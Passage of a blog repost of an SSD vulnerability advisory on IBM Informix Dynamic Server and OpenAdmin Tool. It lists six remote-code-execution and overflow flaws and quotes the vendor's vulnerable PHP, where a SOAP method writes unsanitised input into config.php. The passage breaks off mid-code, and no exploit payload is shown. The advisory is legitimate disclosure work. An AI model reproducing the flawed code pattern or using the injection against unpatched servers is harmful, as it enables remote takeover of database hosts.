{"id":7746,"date":"2017-05-23T14:20:10","date_gmt":"2017-05-23T22:20:10","guid":{"rendered":"http:\/\/www.palada.net\/index.php\/2017\/05\/23\/news-1531\/"},"modified":"2017-05-23T14:20:10","modified_gmt":"2017-05-23T22:20:10","slug":"news-1531","status":"publish","type":"post","link":"http:\/\/www.palada.net\/index.php\/2017\/05\/23\/news-1531\/","title":{"rendered":"SSD Advisory \u2013 IBM Informix Dynamic Server and Informix Open Admin Tool Multiple Vulnerabilities"},"content":{"rendered":"<p><strong>Credit to Author: SSD \/ Maor Schwartz| Date: Tue, 23 May 2017 06:41:53 +0000<\/strong><\/p>\n<div class=\"entry-content\">\n<p><strong>Want to get paid for a vulnerability similar to this one?<\/strong><br \/>Contact us at: <a href=\"mailto:sxsxd@bxexyxoxnxdxsxexcxuxrxixtxy.com\" onmouseover=\"this.href=this.href.replace(\/x\/g,'');\" id=\"a-href-3210\">sxsxdx@xbxexyxoxnxdxsxexcxuxrxixtxy.xcom<\/a><\/p>\n<p><script>var obj = jQuery('#a-href-3210');if(obj[0]) { obj[0].innerText = obj[0].innerText.replace(\/x\/g, ''); }<\/script>  \t\t<\/p>\n<div class=\"pf-content\">\n<p><strong>Vulnerabilities Summary<\/strong><br \/> The following advisory describes six (6) vulnerabilities found in Informix Dynamic Server and Informix Open Admin Tool.<\/p>\n<p>IBM Informix Dynamic Server Exceptional, low maintenance online transaction processing (OLTP) data server for enterprise and workgroup computing.<\/p>\n<p>IBM Informix Dynamic Server has many features that cater to a variety of user groups, including developers and administrators. One of the strong features of IDS is the low administration cost. IDS is well known for its hands-free administration. To make server administration even easier, a new open source, platform-independent tool called OpenAdmin Tool (OAT) is now available to IDS users. The OAT includes a graphical interface for administrative tasks and performance analysis tools. <\/p>\n<p>Vulnerabilities:<\/p>\n<ol>\n<li>Unauthentication static PHP code injection that leads to remote code execution<\/li>\n<li>Heap buffer overflow <\/li>\n<li>Remote DLL Injection that leads to remote code execution (1)<\/li>\n<li>Remote DLL Injection that leads to remote code execution (2)<\/li>\n<li>Remote DLL Injection that leads to remote code execution (3)<\/li>\n<li>Remote DLL Injection that leads to remote code execution (4)<\/li>\n<\/ol>\n<p><strong>Credit<\/strong><br \/> An independent security researcher has reported this vulnerability to Beyond Security\u2019s SecuriTeam Secure Disclosure program<\/p>\n<p><strong>Vendor response<\/strong><br \/> IBM has released patches to address those vulnerabilities and issued the following CVE&#8217;s:<\/p>\n<ul>\n<li>CVE-2016-2183<\/li>\n<li>CVE-2017-1092<\/li>\n<\/ul>\n<p>For more Information &#8211; <a href=\"http:\/\/www-01.ibm.com\/support\/docview.wss?uid=swg22002897\" target=\"_blank\">http:\/\/www-01.ibm.com\/support\/docview.wss?uid=swg22002897<\/a><\/p>\n<p><span id=\"more-3210\"><\/span><\/p>\n<p><u><strong>Vulnerabilities Details<\/strong><\/u><br \/> IBM Informix Dynamic Server installs a PHP enable Apache server as a Windows Service (&#8220;Apache_for_OAT&#8221;) which listens on public port 8080 (tcp\/http) for incoming requests to the OpenAdmin web panel. It runs with NT AUTHORITYSYSTEM privileges.<\/p>\n<p><strong>Unauthentication static PHP code injection that leads to remote code execution<\/strong><br \/> IBM Informix Dynamic Server Developer is vulnerable to Unauthentication static PHP code injection by invoking <em>welcomeService.php<\/em> which offers a SOAP interface.<\/p>\n<p>The <em>welcomeServer.php<\/em> class suffers of a static PHP code injection into the &#8220;<em>saveHomePage<\/em>&#8221; method. Arbitrary code can be injected into &#8216;<em>config.php<\/em>&#8216;, which is accessible to remote users. Given this, a remote attacker could execute arbitrary code\/commands with the privileges of the target service.<\/p>\n<p>Vulnerable code &#8211; <em>C:Program Files (x86)IBM Informix Software BundleOATApache_2.2.22htdocsopenadminserviceswelcomewelcomeService.php<\/em><\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5924b59798510497195794\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-mixed-highlight\" title=\"Contains Mixed Languages\"><\/span><\/p>\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> &#8230;  &lt;?php  [..]    $ini = ini_set(&#8220;soap.wsdl_cache_enabled&#8221;,&#8221;0&#8243;);    require_once(&#8220;welcomeServer.php&#8221;);    $server = new SoapServer(&#8220;welcome.wsdl&#8221;);  $server-&gt;setClass(&#8220;welcomeServer&#8221;);  if (isset($HTTP_RAW_POST_DATA))   \t{  \t$request = $HTTP_RAW_POST_DATA;  } else   \t{  \t$request = file_get_contents(&#8216;php:\/\/input&#8217;);  }    $server-&gt;handle($request);  ?&gt;  &#8230;<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">  \t\t\t\t  \t\t\t<\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0055 seconds] -->  <\/p>\n<p>If we will look into <em>saveHomePage()<\/em> method inside<br \/> <em>C:Program Files (x86)IBM Informix Software BundleOATApache_2.2.22htdocsopenadminserviceswelcomewelcomeServer.php<\/em>:<\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5924b5979851b023268894\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-mixed-highlight\" title=\"Contains Mixed Languages\"><\/span><\/p>\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> &#8230;  \/**  \t * Save the selected home page in the config.php file.  \t *\/  \tpublic function saveHomePage ($new_home_page)  &lt;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;  \t{  \t\t$this-&gt;idsadmin-&gt;load_lang(&#8220;admin&#8221;);  \t\t$conf_vars = $this-&gt;idsadmin-&gt;get_config(&#8220;*&#8221;);  \t\t  \t\t\/\/ create backup of config file  \t\t$src=$conf_vars[&#8216;HOMEDIR&#8217;].&#8221;\/conf\/config.php&#8221;;  \t\t$dest=$conf_vars[&#8216;HOMEDIR&#8217;].&#8221;\/conf\/BAKconfig.php&#8221;;  \t\tcopy($src,$dest);  \t\t  \t\t\/\/ open the config file  \t\tif (! is_writable($src))  \t\t{  \t\t\ttrigger_error($this-&gt;idsadmin-&gt;lang(&#8220;SaveCfgFailure&#8221;). &#8221; $src&#8221;);  \t\t\treturn;  \t\t}  \t\t$fd = fopen($src,&#8217;w+&#8217;); &lt;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212; [*]  \t\t\/\/ write out the config  \t\tfputs($fd,&#8221;&lt;?php n&#8221;);  \t\tforeach ($conf_vars as $k =&gt; $v)  \t\t{  \t\t\tif ($k == &#8220;HOMEPAGE&#8221;)  \t\t\t{  \t\t\t\t$v = $new_home_page; &lt;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; [**]  \t\t\t}  \t\t\telse if ($k == &#8220;CONNDBDIR&#8221; || $k == &#8220;HOMEDIR&#8221;)   \t\t\t{  \t\t\t\t\/\/ Replace backslashes in paths with forward slashes  \t\t\t\t$this-&gt;idsadmin-&gt;in[$k] = str_replace(&#8216;\\&#8217;, &#8216;\/&#8217;, $this-&gt;idsadmin-&gt;in[$k]);   \t\t\t\t\/* idsdb00494581: An extra &#8216;&#8221;&#8216; gets written to $CONF[&#8216;CONNDBDIR&#8217;] in config.php  \t\t\t\t * silent install in \/vobs\/idsadmin\/idsadmin\/install\/index.php:saveDefaultConfig() writes the above line  \t\t\t\t * based on $conndbdir = addslashes(substr(@$_SERVER[&#8216;argv&#8217;][3],11)); TODO: fix the initial writing into config.php (Windows only issue)  \t\t\t\t *\/  \t\t\t\tif ($v[strlen($v)-1] == &#8216;&#8221;&#8216;) {  \t\t\t\t\t$v = substr($v, 0, -1);  \t\t\t\t}\t\t\t\t  \t\t\t}  \t\t\t$out = &#8220;$CONF[&#8216;{$k}&#8217;]=&#8221;{$v}&#8221;;#{$this-&gt;idsadmin-&gt;lang($k)}n&#8221;; &lt;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212; [***]  \t\t\tfputs($fd,$out); &lt;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; [****]  \t\t}  \t\tfputs($fd,&#8221;?&gt;n&#8221;);  \t\tfclose($fd);  \t\t  \t\treturn $new_home_page;  \t}  &#8230;<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979851b023268894-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979851b023268894-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979851b023268894-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979851b023268894-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979851b023268894-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979851b023268894-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979851b023268894-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979851b023268894-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979851b023268894-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979851b023268894-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979851b023268894-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979851b023268894-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979851b023268894-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979851b023268894-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979851b023268894-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979851b023268894-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979851b023268894-17\">17<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979851b023268894-18\">18<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979851b023268894-19\">19<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979851b023268894-20\">20<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979851b023268894-21\">21<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979851b023268894-22\">22<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979851b023268894-23\">23<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979851b023268894-24\">24<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979851b023268894-25\">25<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979851b023268894-26\">26<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979851b023268894-27\">27<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979851b023268894-28\">28<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979851b023268894-29\">29<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979851b023268894-30\">30<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979851b023268894-31\">31<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979851b023268894-32\">32<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979851b023268894-33\">33<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979851b023268894-34\">34<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979851b023268894-35\">35<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979851b023268894-36\">36<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979851b023268894-37\">37<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979851b023268894-38\">38<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979851b023268894-39\">39<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979851b023268894-40\">40<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979851b023268894-41\">41<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979851b023268894-42\">42<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979851b023268894-43\">43<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979851b023268894-44\">44<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979851b023268894-45\">45<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979851b023268894-46\">46<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979851b023268894-47\">47<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979851b023268894-48\">48<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979851b023268894-49\">49<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979851b023268894-50\">50<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5924b5979851b023268894-1\"><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979851b023268894-2\"><span class=\"crayon-c\">\/**<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979851b023268894-3\"><span class=\"crayon-c\">\t * Save the selected home page in the config.php file.<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979851b023268894-4\"><span class=\"crayon-c\">\t *\/<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979851b023268894-5\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-m\">public<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">function<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">saveHomePage<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">new_home_page<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8211;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979851b023268894-6\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979851b023268894-7\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">idsadmin<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">load_lang<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;admin&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979851b023268894-8\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">conf_vars<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">idsadmin<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">get_config<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;*&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979851b023268894-9\"><span class=\"crayon-h\">\t\t<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979851b023268894-10\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-c\">\/\/ create backup of config file<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979851b023268894-11\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">src<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">conf_vars<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;HOMEDIR&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-s\">&#8220;\/conf\/config.php&#8221;<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979851b023268894-12\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">dest<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">conf_vars<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;HOMEDIR&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-s\">&#8220;\/conf\/BAKconfig.php&#8221;<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979851b023268894-13\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-e\">copy<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">src<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">dest<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979851b023268894-14\"><span class=\"crayon-h\">\t\t<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979851b023268894-15\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-c\">\/\/ open the config file<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979851b023268894-16\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">is_writable<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">src<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979851b023268894-17\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979851b023268894-18\"><span class=\"crayon-h\">\t\t\t<\/span><span class=\"crayon-e\">trigger_error<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">idsadmin<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">lang<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;SaveCfgFailure&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8221; $src&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979851b023268894-19\"><span class=\"crayon-h\">\t\t\t<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979851b023268894-20\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979851b023268894-21\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">fd<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">fopen<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">src<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-s\">&#8216;w+&#8217;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979851b023268894-22\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-c\">\/\/ write out the config<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979851b023268894-23\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-e\">fputs<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">fd<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-s\">&#8220;<span class=\"crayon-ta\">&lt;?php<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\"><\/span><span class=\"crayon-i\">n<\/span><span class=\"crayon-s\">&#8220;);<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979851b023268894-24\"><span class=\"crayon-s\">\t\tforeach ($conf_vars as $k =&gt; $v)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979851b023268894-25\"><span class=\"crayon-s\">\t\t{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979851b023268894-26\"><span class=\"crayon-s\">\t\t\tif ($k == &#8220;<\/span><span class=\"crayon-cn\">HOMEPAGE<\/span><span class=\"crayon-s\">&#8220;)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979851b023268894-27\"><span class=\"crayon-s\">\t\t\t{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979851b023268894-28\"><span class=\"crayon-s\">\t\t\t\t$v = $new_home_page; &lt;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; [**]<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979851b023268894-29\"><span class=\"crayon-s\">\t\t\t}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979851b023268894-30\"><span class=\"crayon-s\">\t\t\telse if ($k == &#8220;<\/span><span class=\"crayon-cn\">CONNDBDIR<\/span><span class=\"crayon-s\">&#8221; || $k == &#8220;<\/span><span class=\"crayon-cn\">HOMEDIR<\/span><span class=\"crayon-s\">&#8220;) <\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979851b023268894-31\"><span class=\"crayon-s\">\t\t\t{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979851b023268894-32\"><span class=\"crayon-s\">\t\t\t\t\/\/ Replace backslashes in paths with forward slashes<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979851b023268894-33\"><span class=\"crayon-s\">\t\t\t\t$this-&gt;idsadmin-&gt;in[$k] = str_replace(&#8216;\\&#8217;, &#8216;\/&#8217;, $this-&gt;idsadmin-&gt;in[$k]); <\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979851b023268894-34\"><span class=\"crayon-s\">\t\t\t\t\/* idsdb00494581: An extra &#8216;&#8221;<\/span><span class=\"crayon-s\">&#8216; gets written to $CONF[&#8216;<\/span><span class=\"crayon-cn\">CONNDBDIR<\/span><span class=\"crayon-s\">&#8216;] in config.php<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979851b023268894-35\"><span class=\"crayon-s\">\t\t\t\t * silent install in 